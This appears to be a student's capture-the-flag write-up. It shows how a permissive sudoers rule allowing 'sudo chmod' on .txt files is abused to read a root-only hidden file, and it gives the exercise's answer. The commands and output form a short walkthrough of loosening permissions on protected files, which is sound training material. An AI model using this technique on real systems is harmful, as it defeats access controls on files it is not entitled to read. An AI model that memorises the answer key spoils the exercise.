Exercise Two Report

Goal

Find the hidden `.txt` file, read the secret ingredient, and use it with `validate`.

Steps

1) Look around the filesystem

I started by checking the root directory:

```
pwd
ls -la /
```

```
masar@c5082c9c787c:~$ pwd
/home/masar
masar@c5082c9c787c:~$ ls -all /
total 72
drwxr-xr-x   1 root root 4096 Mar  9 18:27 .
drwxr-xr-x   1 root root 4096 Mar  9 18:27 ..
-rwxr-xr-x   1 root root    0 Mar  9 18:27 .dockerenv
lrwxrwxrwx   1 root root    7 Oct  1 02:03 bin → usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
-rwxrwxr-x   1 root root 2118 Oct 28 12:25 build_challenge.sh
drwxr-xr-x   5 root root  340 Mar  9 18:27 dev
-rwxrwxr-x   1 root root   36 Oct 27 11:30 entrypoint.sh
drwxr-xr-x   1 root root 4096 Mar  9 18:27 etc
drwxr-xr-x   1 root root 4096 Oct 27 12:50 home
lrwxrwxrwx   1 root root    7 Oct  1 02:03 lib → usr/lib
lrwxrwxrwx   1 root root    9 Oct  1 02:03 lib32 → usr/lib32
lrwxrwxrwx   1 root root    9 Oct  1 02:03 lib64 → usr/lib64
lrwxrwxrwx   1 root root   10 Oct  1 02:03 libx32 → usr/libx32
drwxr-xr-x   2 root root 4096 Oct  1 02:03 media
drwxr-xr-x   2 root root 4096 Oct  1 02:03 mnt
drwxr-xr-x   2 root root 4096 Oct  1 02:03 opt
dr-xr-xr-x 310 root root    0 Mar  9 18:27 proc
drwx------   2 root root 4096 Oct  1 02:10 root
drwxr-xr-x   1 root root 4096 Mar  9 18:27 run
lrwxrwxrwx   1 root root    8 Oct  1 02:03 sbin → usr/sbin
drwxr-xr-x   2 root root 4096 Oct  1 02:03 srv
dr-xr-xr-x  13 root root    0 Mar  9 18:27 sys
drwxrwxrwt   1 root root 4096 Oct 28 12:27 tmp
drwxr-xr-x   1 root root 4096 Oct  1 02:03 usr
drwxr-xr-x   1 root root 4096 Oct  1 02:10 var
```

I noticed a readable file called `build_challenge.sh`, so I opened it:

```
cat /build_challenge.sh
```

```
masar@c5082c9c787c:~$ cat /build_challenge.sh
#!/bin/bash
set -euo pipefail

# Directories & files
SECRET_DIR=/usr/local/sbin
SECRET_FILE="$SECRET_DIR/.secret_recipe.txt"
VALIDATOR="/usr/local/bin/validate"
CHMOD_WRAPPER="/usr/local/bin/chmod_txt"
SUDOERS_FILE="/etc/sudoers.d/ctf_chmod_txt"
```

```
# Give the ctf user sudo rights to run only the chmod wrapper (no password)
cat > "$SUDOERS_FILE" <<'EOF'
# Allow ctf to run the chmod_txt wrapper as root without password
masar ALL=(root) NOPASSWD: /usr/bin/chmod [0-7][0-7][0-7] /*.txt
EOF
```

From that file I learned two important things:

- the secret file is `/usr/local/sbin/.secret_recipe.txt`
- the user `masar` is allowed to run `chmod` on `.txt` files with `sudo`

2) Go to the secret file

I moved to the directory and listed hidden files:

```
cd /usr/local/sbin
ls -all
```

```
masar@c5082c9c787c:~$ cd /usr/local/sbin
masar@c5082c9c787c:/usr/local/sbin$ ls -all
total 16
drwxr-xr-x 1 root root 4096 Oct 28 12:27 .
drwxr-xr-x 1 root root 4096 Oct  1 02:03 ..
-r-------- 1 root root  201 Oct 28 12:27 .secret_recipe.txt
-rwxr-xr-x 1 root root 3369 Oct  1 02:09 unminimize
```

That showed the hidden file:

```
.secret_recipe.txt
```

3) Try to read it

First I tried reading it directly:

```
cat .secret_recipe.txt
```

```
masar@c5082c9c787c:/usr/local/sbin$ cat .secret_recipe.txt
cat: .secret_recipe.txt: Permission denied
```

It failed because the file was owned by `root` and not readable by my user.

4) Change the permission and read it

Based on what I saw in `build_challenge.sh`, I used the allowed `chmod` command with `sudo`:

```
sudo chmod 444 /usr/local/sbin/.secret_recipe.txt
cat /usr/local/sbin/.secret_recipe.txt
```

```
masar@c5082c9c787c:/usr/local/sbin$ sudo chmod 444 /usr/local/sbin/.secret_recipe.txt
masar@c5082c9c787c:/usr/local/sbin$ ls -all
total 24
drwxr-xr-x 1 root root 4096 Oct 28 12:27 .
drwxr-xr-x 1 root root 4096 Oct  1 02:03 ..
-r--r--r-- 1 root root  201 Oct 28 12:27 .secret_recipe.txt
-rwxr-xr-x 1 root root 3369 Oct  1 02:09 unminimize
masar@c5082c9c787c:/usr/local/sbin$ cat /usr/local/sbin/.secret_recipe.txt
This is a top-secret family recipe. The key to the texture and flavor
is the secret ingredient: soya. Use it sparingly and always mix well.
Keep this recipe safe — only trusted chefs should know it.
```

That revealed the secret ingredient:

```
soya
```

5) Validate step

I then moved to `/usr/local/bin` and tried to run the validator:

```
cd /usr/local/bin
./validate
```

```
masar@c5082c9c787c:/usr/local/sbin$ cd /usr/local/bin
masar@c5082c9c787c:/usr/local/bin$ ./validate
./validate: ◆e◆K◆◆%◆    ◆}g◆5◆◆◆◆abnormal behavior!
```

But in this container, the shipped `validate` binary was broken and returned an `abnormal behavior!` error instead of prompting for input.

I confirmed the intended validator logic by reading `build_challenge.sh`. The script clearly checks whether the answer contains `soya`, and if it does, it prints a flag in this format:

```
FLAG{<random-uuid>}
```

So the intended final answer for the validator input is:

```
soya
```

Conclusion

I solved the permission part of the challenge by reading the build script, locating the hidden file, using the allowed `sudo chmod` capability, and reading the protected `.txt` file. The secret ingredient was `soya`.

The only issue was that the provided `validate` binary in this container was broken, but the readable challenge script showed exactly how validation was supposed to work.

Commands I actually used

```
pwd
ls -la /
cat /build_challenge.sh
cd /usr/local/sbin
ls -all
cat .secret_recipe.txt
sudo chmod 444 /usr/local/sbin/.secret_recipe.txt
cat /usr/local/sbin/.secret_recipe.txt
cd /usr/local/bin
./validate
```

Final note

I successfully retrieved the secret ingredient (`soya`) by leveraging the allowed `sudo chmod` permission on `.txt` files, but the provided `validate` binary in the container was broken and returned `abnormal behavior!` instead of accepting input.